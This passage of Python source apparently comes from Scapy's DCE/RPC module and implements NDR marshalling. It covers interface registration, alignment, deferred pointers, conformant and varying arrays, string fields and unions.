"DCE/RPC v5 - Request" fields_desc = [ _EField(IntField("alloc_hint", 0)), _EField(ShortField("cont_id", 0)), _EField(ShortField("opnum", 0)), ConditionalField( PadField( _EField(UUIDField("object", None)), align=8, ), lambda pkt: pkt.underlayer and pkt.underlayer.pfc_flags.PFC_OBJECT_UUID, ), ] bind_layers(DceRpc5, DceRpc5Request, ptype=0) # sec 12.6.4.10 class DceRpc5Response(_DceRpcPayload): name = "DCE/RPC v5 - Response" fields_desc = [ _EField(IntField("alloc_hint", 0)), _EField(ShortField("cont_id", 0)), ByteField("cancel_count", 0), ByteField("reserved", 0), ] bind_layers(DceRpc5, DceRpc5Response, ptype=2) # --- API DceRpcOp = collections.namedtuple("DceRpcOp", ["request", "response"]) DCE_RPC_INTERFACES = {} class DceRpcInterface: def __init__(self, name, uuid, version_tuple, if_version, opnums): self.name = name self.uuid = uuid self.major_version, self.minor_version = version_tuple self.if_version = if_version self.opnums = opnums def __repr__(self): return "" % ( self.name, self.major_version, self.minor_version, ) def register_dcerpc_interface(name, uuid, version, opnums): """ Register a DCE/RPC interface """ version_tuple = tuple(map(int, version.split("."))) assert len(version_tuple) == 2, "Version should be in format 'X.X' !" if_version = (version_tuple[1] << 16) + version_tuple[0] if (uuid, if_version) in DCE_RPC_INTERFACES: # Interface is already registered. interface = DCE_RPC_INTERFACES[(uuid, if_version)] if interface.name == name: if set(opnums) - set(interface.opnums): # Interface is an extension of a previous interface interface.opnums.update(opnums) else: log_runtime.warning( "This interface is already registered: %s. Skip" % interface ) return else: raise ValueError( "An interface with the same UUID is already registered: %s" % interface ) else: # New interface DCE_RPC_INTERFACES_NAMES[uuid] = name DCE_RPC_INTERFACES_NAMES_rev[name.lower()] = uuid DCE_RPC_INTERFACES[(uuid, if_version)] = DceRpcInterface( name, uuid, version_tuple, if_version, opnums, ) # bind for build for opnum, operations in opnums.items(): bind_top_down(DceRpc5Request, operations.request, opnum=opnum) operations.request.opnum = opnum operations.request.intf = uuid def find_dcerpc_interface(name) -> DceRpcInterface: """ Find an interface object through the name in the IDL """ try: return next(x for x in DCE_RPC_INTERFACES.values() if x.name == name) except StopIteration: raise AttributeError("Unknown interface !") COM_INTERFACES = {} class ComInterface: if_version = 0 def __init__(self, name, uuid, opnums): self.name = name self.uuid = uuid self.opnums = opnums def __repr__(self): return "" % (self.name,) def register_com_interface(name, uuid, opnums): """ Register a COM interface """ COM_INTERFACES[uuid] = ComInterface( name, uuid, opnums, ) # bind for build for opnum, operations in opnums.items(): bind_top_down(DceRpc5Request, operations.request, opnum=opnum) COM_INTERFACES_NAMES[uuid] = name COM_INTERFACES_NAMES_rev[name.lower()] = uuid def find_com_interface(name) -> ComInterface: """ Find an interface object through the name in the IDL """ try: return next(x for x in COM_INTERFACES.values() if x.name == name) except StopIteration: raise AttributeError("Unknown interface !") # --- NDR fields - [C706] chap 14 def _set_ctx_on(f, obj): if isinstance(f, _NDRPacket): f.ndr64 = obj.ndr64 f.ndrendian = obj.ndrendian if isinstance(f, list): for x in f: if isinstance(x, _NDRPacket): x.ndr64 = obj.ndr64 x.ndrendian = obj.ndrendian def _e(ndrendian): return {"big": ">", "little": "<"}[ndrendian] class _NDRPacket(Packet): __slots__ = ["ndr64", "ndrendian", "deferred_pointers", "request_packet"] def __init__(self, *args, **kwargs): self.ndr64 = kwargs.pop("ndr64", conf.ndr64) self.ndrendian = kwargs.pop("ndrendian", "little") # request_packet is used in the session, so that a response packet # can resolve union arms if the case parameter is in the request. self.request_packet = kwargs.pop("request_packet", None) self.deferred_pointers = [] super(_NDRPacket, self).__init__(*args, **kwargs) def do_dissect(self, s): _up = self.parent or self.underlayer if _up and isinstance(_up, _NDRPacket): self.ndr64 = _up.ndr64 self.ndrendian = _up.ndrendian else: # See comment above NDRConstructedType return NDRConstructedType([]).read_deferred_pointers( self, super(_NDRPacket, self).do_dissect(s) ) return super(_NDRPacket, self).do_dissect(s) def post_dissect(self, s): if self.deferred_pointers: # Can't trust the cache if there were deferred pointers self.raw_packet_cache = None return s def do_build(self): _up = self.parent or self.underlayer for f in self.fields.values(): _set_ctx_on(f, self) if not _up or not isinstance(_up, _NDRPacket): # See comment above NDRConstructedType return NDRConstructedType([]).add_deferred_pointers( self, super(_NDRPacket, self).do_build() ) return super(_NDRPacket, self).do_build() def default_payload_class(self, pkt): return conf.padding_layer def clone_with(self, *args, **kwargs): pkt = super(_NDRPacket, self).clone_with(*args, **kwargs) # We need to copy deferred_pointers to not break pointer deferral # on build. pkt.deferred_pointers = self.deferred_pointers pkt.ndr64 = self.ndr64 pkt.ndrendian = self.ndrendian return pkt def copy(self): pkt = super(_NDRPacket, self).copy() pkt.deferred_pointers = self.deferred_pointers pkt.ndr64 = self.ndr64 pkt.ndrendian = self.ndrendian return pkt def show2(self, dump=False, indent=3, lvl="", label_lvl=""): return self.__class__( bytes(self), ndr64=self.ndr64, ndrendian=self.ndrendian ).show(dump, indent, lvl, label_lvl) def getfield_and_val(self, attr): try: return Packet.getfield_and_val(self, attr) except ValueError: if self.request_packet: # Try to resolve the field from the request on failure try: return self.request_packet.getfield_and_val(attr) except AttributeError: pass raise def valueof(self, request: str): """ Util to get the value of a NDRField, ignoring arrays, pointers, etc. """ val = self for ndr_field in request.split("."): fld, fval = val.getfield_and_val(ndr_field) val = fld.valueof(val, fval) return val class _NDRAlign: def padlen(self, flen, pkt): return -flen % self._align[pkt.ndr64] def original_length(self, pkt): # Find the length of the NDR frag to be able to pad properly while pkt: par = pkt.parent or pkt.underlayer if par and isinstance(par, _NDRPacket): pkt = par else: break return len(pkt.original) class NDRAlign(_NDRAlign, ReversePadField): """ ReversePadField modified to fit NDR. - If no align size is specified, use the one from the inner field - Size is calculated from the beginning of the NDR stream """ def __init__(self, fld, align, padwith=None): super(NDRAlign, self).__init__(fld, align=align, padwith=padwith) class _VirtualField(Field): # Hold a value but doesn't show up when building/dissecting def addfield(self, pkt, s, x): return s def getfield(self, pkt, s): return s, None class _NDRPacketMetaclass(Packet_metaclass): def __new__(cls, name, bases, dct): newcls = super(_NDRPacketMetaclass, cls).__new__(cls, name, bases, dct) conformants = dct.get("DEPORTED_CONFORMANTS", []) if conformants: amount = len(conformants) if amount == 1: newcls.fields_desc.insert( 0, _VirtualField("max_count", None), ) else: newcls.fields_desc.insert( 0, FieldListField( "max_counts", [], _VirtualField("", 0), count_from=lambda _: amount, ), ) return newcls # type: ignore class NDRPacket(_NDRPacket, metaclass=_NDRPacketMetaclass): """ A NDR Packet. Handles pointer size & endianness """ __slots__ = ["_align"] # NDR64 pad structures # [MS-RPCE] 2.2.5.3.4.1 ALIGNMENT = (1, 1) # [C706] sect 14.3.7 - Conformants max_count can be added to the beginning DEPORTED_CONFORMANTS = [] # Primitive types class _NDRValueOf: def valueof(self, pkt, x): return x class _NDRLenField(_NDRValueOf, Field): """ Field similar to FieldLenField that takes size_of and adjust as arguments, and take the value of a size on build. """ __slots__ = ["size_of", "adjust"] def __init__(self, *args, **kwargs): self.size_of = kwargs.pop("size_of", None) self.adjust = kwargs.pop("adjust", lambda _, x: x) super(_NDRLenField, self).__init__(*args, **kwargs) def i2m(self, pkt, x): if x is None and pkt is not None and self.size_of is not None: fld, fval = pkt.getfield_and_val(self.size_of) f = fld.i2len(pkt, fval) x = self.adjust(pkt, f) elif x is None: x = 0 return x class NDRByteField(_NDRLenField, ByteField): pass class NDRSignedByteField(_NDRLenField, SignedByteField): pass class _NDRField(_NDRLenField): FMT = "" ALIGN = (0, 0) def getfield(self, pkt, s): return NDRAlign( Field("", 0, fmt=_e(pkt.ndrendian) + self.FMT), align=self.ALIGN ).getfield(pkt, s) def addfield(self, pkt, s, val): return NDRAlign( Field("", 0, fmt=_e(pkt.ndrendian) + self.FMT), align=self.ALIGN ).addfield(pkt, s, self.i2m(pkt, val)) class NDRShortField(_NDRField): FMT = "H" ALIGN = (2, 2) class NDRSignedShortField(_NDRField): FMT = "h" ALIGN = (2, 2) class NDRIntField(_NDRField): FMT = "I" ALIGN = (4, 4) class NDRSignedIntField(_NDRField): FMT = "i" ALIGN = (4, 4) class NDRLongField(_NDRField): FMT = "Q" ALIGN = (8, 8) class NDRSignedLongField(_NDRField): FMT = "q" ALIGN = (8, 8) class NDRIEEEFloatField(_NDRField): FMT = "f" ALIGN = (4, 4) class NDRIEEEDoubleField(_NDRField): FMT = "d" ALIGN = (8, 8) # Enum types class _NDREnumField(_NDRValueOf, EnumField): # [MS-RPCE] sect 2.2.5.2 - Enums are 4 octets in NDR64 FMTS = ["H", "I"] def getfield(self, pkt, s): fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64] return NDRAlign(Field("", 0, fmt=fmt), align=(2, 4)).getfield(pkt, s) def addfield(self, pkt, s, val): fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64] return NDRAlign(Field("", 0, fmt=fmt), align=(2, 4)).addfield( pkt, s, self.i2m(pkt, val) ) class NDRInt3264EnumField(NDRAlign): def __init__(self, *args, **kwargs): super(NDRInt3264EnumField, self).__init__( _NDREnumField(*args, **kwargs), align=(2, 4) ) class NDRIntEnumField(_NDRValueOf, NDRAlign): # v1_enum are always 4-octets, even in NDR32 def __init__(self, *args, **kwargs): super(NDRIntEnumField, self).__init__( LEIntEnumField(*args, **kwargs), align=(4, 4) ) # Special types class NDRInt3264Field(_NDRLenField): FMTS = ["I", "Q"] def getfield(self, pkt, s): fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64] return NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).getfield(pkt, s) def addfield(self, pkt, s, val): fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64] return NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).addfield( pkt, s, self.i2m(pkt, val) ) class NDRSignedInt3264Field(NDRInt3264Field): FMTS = ["i", "q"] # Pointer types class NDRPointer(_NDRPacket): fields_desc = [ MultipleTypeField( [(XLELongField("referent_id", 1), lambda pkt: pkt and pkt.ndr64)], XLEIntField("referent_id", 1), ), PacketField("value", None, conf.raw_layer), ] class NDRFullPointerField(_FieldContainer): """ A NDR Full/Unique pointer field encapsulation. :param EMBEDDED: This pointer is embedded. This means that it's representation will not appear after the pointer (pointer deferral applies). See [C706] 14.3.12.3 - Algorithm for Deferral of Referents """ EMBEDDED = False EMBEDDED_REF = False def __init__(self, fld, ref=False, fmt="I"): self.fld = fld self.ref = ref self.default = None def getfield(self, pkt, s): fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] remain, referent_id = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).getfield( pkt, s ) # No value if referent_id == 0 and not self.EMBEDDED_REF: return remain, None # With value if self.EMBEDDED: # deferred ptr = NDRPointer( ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, referent_id=referent_id ) pkt.deferred_pointers.append((ptr, partial(self.fld.getfield, pkt))) return remain, ptr remain, val = self.fld.getfield(pkt, remain) return remain, NDRPointer( ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, referent_id=referent_id, value=val ) def addfield(self, pkt, s, val): if val is not None and not isinstance(val, NDRPointer): raise ValueError( "Expected NDRPointer in %s. You are using it wrong!" % self.name ) fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] fld = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)) # No value if val is None and not self.EMBEDDED_REF: return fld.addfield(pkt, s, 0) # With value _set_ctx_on(val.value, pkt) s = fld.addfield(pkt, s, val.referent_id) if self.EMBEDDED: # deferred pkt.deferred_pointers.append( ((lambda s: self.fld.addfield(pkt, s, val.value)), val) ) return s return self.fld.addfield(pkt, s, val.value) def any2i(self, pkt, x): # User-friendly helper if x is not None and not isinstance(x, NDRPointer): return NDRPointer( referent_id=0x20000, value=self.fld.any2i(pkt, x), ) return x # Can't use i2repr = Field.i2repr and so on on PY2 :/ def i2repr(self, pkt, val): return repr(val) def i2h(self, pkt, x): return x def h2i(self, pkt, x): return x def i2len(self, pkt, x): if x is None: return 0 return self.fld.i2len(pkt, x.value) def valueof(self, pkt, x): if x is None: return x return self.fld.valueof(pkt, x.value) class NDRFullEmbPointerField(NDRFullPointerField): """ A NDR Embedded Full pointer. Same as NDRFullPointerField with EMBEDDED = True. """ EMBEDDED = True class NDRRefEmbPointerField(NDRFullPointerField): """ A NDR Embedded Reference pointer. Same as NDRFullPointerField with EMBEDDED = True and EMBEDDED_REF = True. """ EMBEDDED = True EMBEDDED_REF = True # Constructed types # Note: this is utterly complex and will drive you crazy # If you have a NDRPacket that contains a deferred pointer on the top level # (only happens in non DCE/RPC structures, such as in MS-PAC, where you have an NDR # structure encapsulated in a non-NDR structure), there will be left-over deferred # pointers when exiting dissection/build (deferred pointers are only computed when # reaching a field that extends NDRConstructedType, which is normal: if you follow # the DCE/RPC spec, pointers are never deferred in root structures) # Therefore there is a special case forcing the build/dissection of any leftover # pointers in NDRPacket, if Scapy detects that they won't be handled by any parent. # Implementation notes: I chose to set 'handles_deferred' inside the FIELD, rather # than inside the PACKET. This is faster to compute because whether a constructed type # should handle deferral or not is computed only once when loading, therefore Scapy # knows in advance whether to handle deferred pointers or not. But it is technically # incorrect: with this approach, a structure (packet) cannot be used in 2 code paths # that have different pointer managements. I mean by that that if there was a # structure that was directly embedded in a RPC request without a pointer but also # embedded with a pointer in another RPC request, it would break. # Fortunately this isn't the case: structures are never reused for 2 purposes. # (or at least I never seen that... ) class NDRConstructedType(object): def __init__(self, fields): self.handles_deferred = False self.ndr_fields = fields self.rec_check_deferral() def rec_check_deferral(self): # We iterate through the fields within this constructed type. # If we have a pointer, mark this field as handling deferrance # and make all sub-constructed types not. for f in self.ndr_fields: if isinstance(f, NDRFullPointerField) and f.EMBEDDED: self.handles_deferred = True if isinstance(f, NDRConstructedType): f.rec_check_deferral() if f.handles_deferred: self.handles_deferred = True f.handles_deferred = False def getfield(self, pkt, s): s, fval = super(NDRConstructedType, self).getfield(pkt, s) if isinstance(fval, _NDRPacket): # If a sub-packet we just dissected has deferred pointers, # pass it to parent packet to propagate. pkt.deferred_pointers.extend(fval.deferred_pointers) del fval.deferred_pointers[:] if self.handles_deferred: # This field handles deferral ! s = self.read_deferred_pointers(pkt, s) return s, fval def read_deferred_pointers(self, pkt, s): # Now read content of the pointers that were deferred q = collections.deque() q.extend(pkt.deferred_pointers) del pkt.deferred_pointers[:] while q: # Recursively resolve pointers that were deferred ptr, getfld = q.popleft() s, val = getfld(s) ptr.value = val if isinstance(val, _NDRPacket): # Pointer resolves to a packet.. that may have deferred pointers? q.extend(val.deferred_pointers) del val.deferred_pointers[:] return s def addfield(self, pkt, s, val): try: s = super(NDRConstructedType, self).addfield(pkt, s, val) except Exception as ex: try: ex.args = ( "While building field '%s': " % self.name + ex.args[0], ) + ex.args[1:] except (AttributeError, IndexError): pass raise ex if isinstance(val, _NDRPacket): # If a sub-packet we just dissected has deferred pointers, # pass it to parent packet to propagate. pkt.deferred_pointers.extend(val.deferred_pointers) del val.deferred_pointers[:] if self.handles_deferred: # This field handles deferral ! s = self.add_deferred_pointers(pkt, s) return s def add_deferred_pointers(self, pkt, s): # Now add content of pointers that were deferred q = collections.deque() q.extend(pkt.deferred_pointers) del pkt.deferred_pointers[:] while q: addfld, fval = q.popleft() s = addfld(s) if isinstance(fval, NDRPointer) and isinstance(fval.value, _NDRPacket): q.extend(fval.value.deferred_pointers) del fval.value.deferred_pointers[:] return s class _NDRPacketField(_NDRValueOf, PacketField): def m2i(self, pkt, m): return self.cls(m, ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, _parent=pkt) class _NDRPacketPadField(PadField): # [MS-RPCE] 2.2.5.3.4.1 Structure with Trailing Gap # Structures have extra alignment/padding in NDR64. def padlen(self, flen, pkt): if pkt.ndr64: return -flen % self._align[1] else: return 0 class NDRPacketField(NDRConstructedType, NDRAlign): def __init__(self, name, default, pkt_cls, **kwargs): self.DEPORTED_CONFORMANTS = pkt_cls.DEPORTED_CONFORMANTS self.fld = _NDRPacketField(name, default, pkt_cls=pkt_cls, **kwargs) # The inner _NDRPacketPadField handles NDR64's trailing gap in # the case where there a no inner conformants (see [MS-RPCE] 2.2.5.3.4.1) if self.DEPORTED_CONFORMANTS: innerfld = self.fld else: innerfld = _NDRPacketPadField(self.fld, align=pkt_cls.ALIGNMENT) # C706 14.3.2 Alignment of Constructed Types is handled by the # NDRAlign below. NDRAlign.__init__( self, innerfld, align=pkt_cls.ALIGNMENT, ) NDRConstructedType.__init__(self, pkt_cls.fields_desc) def getfield(self, pkt, x): # Handle deformed conformants max_count here if self.DEPORTED_CONFORMANTS: # C706 14.3.2: "In other words, the size information precedes the # structure and is aligned independently of the structure alignment." fld = NDRInt3264Field("", 0) max_counts = [] for _ in self.DEPORTED_CONFORMANTS: x, max_count = fld.getfield(pkt, x) max_counts.append(max_count) res, val = super(NDRPacketField, self).getfield(pkt, x) if len(max_counts) == 1: val.max_count = max_counts[0] else: val.max_counts = max_counts return res, val return super(NDRPacketField, self).getfield(pkt, x) def addfield(self, pkt, s, x): # Handle deformed conformants max_count here if self.DEPORTED_CONFORMANTS: mcfld = NDRInt3264Field("", 0) if len(self.DEPORTED_CONFORMANTS) == 1: max_counts = [x.max_count] else: max_counts = x.max_counts for fldname, max_count in zip(self.DEPORTED_CONFORMANTS, max_counts): if max_count is None: fld, val = x.getfield_and_val(fldname) max_count = fld.i2len(x, val) s = mcfld.addfield(pkt, s, max_count) return super(NDRPacketField, self).addfield(pkt, s, x) return super(NDRPacketField, self).addfield(pkt, s, x) # Array types class _NDRPacketListField(NDRConstructedType, PacketListField): """ A PacketListField for NDR that can optionally pack the packets into NDRPointers """ islist = 1 holds_packets = 1 __slots__ = ["ptr_lvl", "fld"] def __init__(self, name, default, pkt_cls, **kwargs): self.ptr_lvl = kwargs.pop("ptr_lvl", False) if self.ptr_lvl: # TODO: support more than 1 level ? self.fld = NDRFullEmbPointerField(NDRPacketField("", None, pkt_cls)) else: self.fld = NDRPacketField("", None, pkt_cls) PacketListField.__init__(self, name, default, pkt_cls=pkt_cls, **kwargs) NDRConstructedType.__init__(self, [self.fld]) def m2i(self, pkt, s): remain, val = self.fld.getfield(pkt, s) if val is None: val = NDRNone() # A mistake here would be to use / instead of add_payload. It adds a copy # which breaks pointer defferal. Same applies elsewhere val.add_payload(conf.padding_layer(remain)) return val def any2i(self, pkt, x): # User-friendly helper if isinstance(x, list): x = [self.fld.any2i(pkt, y) for y in x] return super(_NDRPacketListField, self).any2i(pkt, x) def i2m(self, pkt, val): return self.fld.addfield(pkt, b"", val) def i2len(self, pkt, x): return len(x) def valueof(self, pkt, x): return [ self.fld.valueof(pkt, y if not isinstance(y, NDRNone) else None) for y in x ] class NDRFieldListField(NDRConstructedType, FieldListField): """ A FieldListField for NDR """ islist = 1 def __init__(self, *args, **kwargs): if "length_is" in kwargs: kwargs["count_from"] = kwargs.pop("length_is") elif "size_is" in kwargs: kwargs["count_from"] = kwargs.pop("size_is") FieldListField.__init__(self, *args, **kwargs) NDRConstructedType.__init__(self, [self.field]) def i2len(self, pkt, x): return len(x) def valueof(self, pkt, x): return [self.field.valueof(pkt, y) for y in x] class NDRVaryingArray(_NDRPacket): fields_desc = [ MultipleTypeField( [(LELongField("offset", 0), lambda pkt: pkt and pkt.ndr64)], LEIntField("offset", 0), ), MultipleTypeField( [ ( LELongField("actual_count", None), lambda pkt: pkt and pkt.ndr64, ) ], LEIntField("actual_count", None), ), PacketField("value", None, conf.raw_layer), ] class _NDRVarField: """ NDR Varying Array / String field """ LENGTH_FROM = False COUNT_FROM = False def __init__(self, *args, **kwargs): # We build the length_is function by taking into account both the # actual_count (from the varying field) and a potentially provided # length_is field. if "length_is" in kwargs: _length_is = kwargs.pop("length_is") length_is = lambda pkt: (_length_is(pkt.underlayer) or pkt.actual_count) else: length_is = lambda pkt: pkt.actual_count # Pass it to the sub-field (actually subclass) if self.LENGTH_FROM: kwargs["length_from"] = length_is elif self.COUNT_FROM: kwargs["count_from"] = length_is # TODO: For now, we do nothing with max_is if "max_is" in kwargs: kwargs.pop("max_is") super(_NDRVarField, self).__init__(*args, **kwargs) def getfield(self, pkt, s): fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] remain, offset = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).getfield(pkt, s) remain, actual_count = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).getfield( pkt, remain ) final = NDRVaryingArray( ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, offset=offset, actual_count=actual_count, _underlayer=pkt, ) remain, val = super(_NDRVarField, self).getfield(final, remain) final.value = super(_NDRVarField, self).i2h(pkt, val) return remain, final def addfield(self, pkt, s, val): if not isinstance(val, NDRVaryingArray): raise ValueError( "Expected NDRVaryingArray in %s. You are using it wrong!" % self.name ) fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] _set_ctx_on(val.value, pkt) s = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).addfield(pkt, s, val.offset) s = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).addfield( pkt, s, val.actual_count is None and super(_NDRVarField, self).i2len(pkt, val.value) or val.actual_count, ) return super(_NDRVarField, self).addfield( pkt, s, super(_NDRVarField, self).h2i(pkt, val.value) ) def i2len(self, pkt, x): return super(_NDRVarField, self).i2len(pkt, x.value) def any2i(self, pkt, x): # User-friendly helper if not isinstance(x, NDRVaryingArray): return NDRVaryingArray( value=super(_NDRVarField, self).any2i(pkt, x), ) return x # Can't use i2repr = Field.i2repr and so on on PY2 :/ def i2repr(self, pkt, val): return repr(val) def i2h(self, pkt, x): return x def h2i(self, pkt, x): return x def valueof(self, pkt, x): return super(_NDRVarField, self).valueof(pkt, x.value) class NDRConformantArray(_NDRPacket): fields_desc = [ MultipleTypeField( [(LELongField("max_count", None), lambda pkt: pkt and pkt.ndr64)], LEIntField("max_count", None), ), MultipleTypeField( [ ( PacketListField( "value", [], conf.raw_layer, count_from=lambda pkt: pkt.max_count, ), ( lambda pkt: pkt.fields.get("value", None) and isinstance(pkt.fields["value"][0], Packet), lambda _, val: val and isinstance(val[0], Packet), ), ) ], FieldListField( "value", [], LEIntField("", 0), count_from=lambda pkt: pkt.max_count ), ), ] class NDRConformantString(_NDRPacket): fields_desc = [ MultipleTypeField( [(LELongField("max_count", None), lambda pkt: pkt and pkt.ndr64)], LEIntField("max_count", None), ), StrField("value", ""), ] class _NDRConfField: """ NDR Conformant Array / String field """ CONFORMANT_STRING = False LENGTH_FROM = False COUNT_FROM = False def __init__(self, *args, **kwargs): # when conformant_in_struct is True, we remove the level of abstraction # provided by NDRConformantString / NDRConformantArray because max_count # is a proper field in the parent packet. self.conformant_in_struct = kwargs.pop("conformant_in_struct", False) # size_is/max_is end up here, and is what defines a conformant field. if "size_is" in kwargs: size_is = kwargs.pop("size_is") if self.LENGTH_FROM: kwargs["length_from"] = size_is elif self.COUNT_FROM: kwargs["count_from"] = size_is # TODO: For now, we do nothing with max_is if "max_is" in kwargs: kwargs.pop("max_is") super(_NDRConfField, self).__init__(*args, **kwargs) def getfield(self, pkt, s): # [C706] - 14.3.7 Structures Containing Arrays fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] if self.conformant_in_struct: # [MS-RPCE] 2.2.5.3.4.2 Structure Containing a Conformant Array # Padding is here: just before the Conformant content return NDRAlign( super(_NDRConfField, self), align=pkt.ALIGNMENT, ).getfield(pkt, s) # The max count is aligned as a primitive type remain, max_count = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).getfield( pkt, s ) remain, val = super(_NDRConfField, self).getfield(pkt, remain) return remain, ( NDRConformantString if self.CONFORMANT_STRING else NDRConformantArray )(ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, max_count=max_count, value=val) def addfield(self, pkt, s, val): if self.conformant_in_struct: # [MS-RPCE] 2.2.5.3.4.2 Structure Containing a Conformant Array # Padding is here: just before the Conformant content return NDRAlign(super(_NDRConfField, self), align=pkt.ALIGNMENT).addfield( pkt, s, val ) if self.CONFORMANT_STRING and not isinstance(val, NDRConformantString): raise ValueError( "Expected NDRConformantString in %s. You are using it wrong!" % self.name ) elif not self.CONFORMANT_STRING and not isinstance(val, NDRConformantArray): raise ValueError( "Expected NDRConformantArray in %s. You are using it wrong!" % self.name ) fmt = _e(pkt.ndrendian) + ["I", "Q"][pkt.ndr64] _set_ctx_on(val.value, pkt) if val.value and isinstance(val.value[0], NDRVaryingArray): value = val.value[0] else: value = val.value s = NDRAlign(Field("", 0, fmt=fmt), align=(4, 8)).addfield( pkt, s, val.max_count is None and super(_NDRConfField, self).i2len(pkt, value) or val.max_count, ) return super(_NDRConfField, self).addfield(pkt, s, value) def _subval(self, x): if self.conformant_in_struct: value = x elif ( not self.CONFORMANT_STRING and x.value and isinstance(x.value[0], NDRVaryingArray) ): value = x.value[0] else: value = x.value return value def i2len(self, pkt, x): return super(_NDRConfField, self).i2len(pkt, self._subval(x)) def any2i(self, pkt, x): # User-friendly helper if self.conformant_in_struct: return super(_NDRConfField, self).any2i(pkt, x) if self.CONFORMANT_STRING and not isinstance(x, NDRConformantString): return NDRConformantString( value=super(_NDRConfField, self).any2i(pkt, x), ) elif not isinstance(x, NDRConformantArray): return NDRConformantArray( value=super(_NDRConfField, self).any2i(pkt, x), ) return x # Can't use i2repr = Field.i2repr and so on on PY2 :/ def i2repr(self, pkt, val): return repr(val) def i2h(self, pkt, x): return x def h2i(self, pkt, x): return x def valueof(self, pkt, x): return super(_NDRConfField, self).valueof(pkt, self._subval(x)) class NDRVarPacketListField(_NDRVarField, _NDRPacketListField): """ NDR Varying PacketListField. Unused """ COUNT_FROM = True class NDRConfPacketListField(_NDRConfField, _NDRPacketListField): """ NDR Conformant PacketListField """ COUNT_FROM = True class NDRConfVarPacketListField(_NDRConfField, _NDRVarField, _NDRPacketListField): """ NDR Conformant Varying PacketListField """ COUNT_FROM = True class NDRConfFieldListField(_NDRConfField, NDRFieldListField): """ NDR Conformant FieldListField """ COUNT_FROM = True class NDRConfVarFieldListField(_NDRConfField, _NDRVarField, NDRFieldListField): """ NDR Conformant Varying FieldListField """ COUNT_FROM = True # NDR String fields class _NDRUtf16(Field): def h2i(self, pkt, x): encoding = {"big": "utf-16be", "little": "utf-16le"}[pkt.ndrendian] return plain_str(x).encode(encoding) def i2h(self, pkt, x): encoding = {"big": "utf-16be", "little": "utf-16le"}[pkt.ndrendian] return bytes_encode(x).decode(encoding, errors="replace") class NDRConfStrLenField(_NDRConfField, _NDRValueOf, StrLenField): """ NDR Conformant StrLenField. This is not a "string" per NDR, but an a conformant byte array (e.g. tower_octet_string). For ease of use, we implicitly convert it in specific cases. """ CONFORMANT_STRING = True LENGTH_FROM = True class NDRConfStrLenFieldUtf16(_NDRConfField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16): """ NDR Conformant StrLenFieldUtf16. See NDRConfStrLenField for comment. """ CONFORMANT_STRING = True ON_WIRE_SIZE_UTF16 = False LENGTH_FROM = True class NDRVarStrNullField(_NDRVarField, _NDRValueOf, StrNullField): """ NDR Varying StrNullField """ NULLFIELD = True class NDRVarStrNullFieldUtf16(_NDRVarField, _NDRValueOf, StrNullFieldUtf16, _NDRUtf16): """ NDR Varying StrNullFieldUtf16 """ NULLFIELD = True class NDRVarStrLenField(_NDRVarField, StrLenField): """ NDR Varying StrLenField """ LENGTH_FROM = True class NDRVarStrLenFieldUtf16(_NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16): """ NDR Varying StrLenFieldUtf16 """ ON_WIRE_SIZE_UTF16 = False LENGTH_FROM = True class NDRConfVarStrLenField(_NDRConfField, _NDRVarField, _NDRValueOf, StrLenField): """ NDR Conformant Varying StrLenField """ LENGTH_FROM = True class NDRConfVarStrLenFieldUtf16( _NDRConfField, _NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16 ): """ NDR Conformant Varying StrLenFieldUtf16 """ ON_WIRE_SIZE_UTF16 = False LENGTH_FROM = True class NDRConfVarStrNullField(_NDRConfField, _NDRVarField, _NDRValueOf, StrNullField): """ NDR Conformant Varying StrNullField """ NULLFIELD = True class NDRConfVarStrNullFieldUtf16( _NDRConfField, _NDRVarField, _NDRValueOf, StrNullFieldUtf16, _NDRUtf16 ): """ NDR Conformant Varying StrNullFieldUtf16 """ ON_WIRE_SIZE_UTF16 = False NULLFIELD = True # Union type class NDRUnion(_NDRPacket): fields_desc = [ IntField("tag", 0), PacketField("value", None, conf.raw_layer), ] class _NDRUnionField(MultipleTypeField): __slots__ = ["switch_fmt", "align"] def __init__(self, flds, dflt, align, switch_fmt): self.switch_fmt = switch_fmt self.align = align super(_NDRUnionField, self).__init__(flds, dflt) def getfield(self, pkt, s): fmt = _e(pkt.ndrendian) + self.switch_fmt[pkt.ndr64] remain, tag = NDRAlign(Field("", 0, fmt=fmt), align=self.align).getfield(pkt, s) fld, _ = super(_NDRUnionField, self)._find_fld_pkt_val(pkt, NDRUnion(tag=tag)) remain, val = fld.getfield(pkt, remain) return remain, NDRUnion( tag=tag, value=val, ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, _parent=pkt ) def addfield(self, pkt, s, val): fmt = _e(pkt.ndrendian) + self.switch_fmt[pkt.ndr64] if not isinstance(val, NDRUnion): raise ValueError( "Expected NDRUnion in %s. You are using it wrong!" % self.name ) _set_ctx_on(val.value, pkt) # First, align the whole tag+union against the align param s = NDRAlign(Field("", 0, fmt=fmt), align=self.align).addfield(pkt, s, val.tag) # Then, compute the subfield with its own alignment return super(_NDRUnionField, self).addfield(pkt, s, val) def _find_fld_pkt_val(self, pkt, val): fld, val = super(_NDRUnionField, 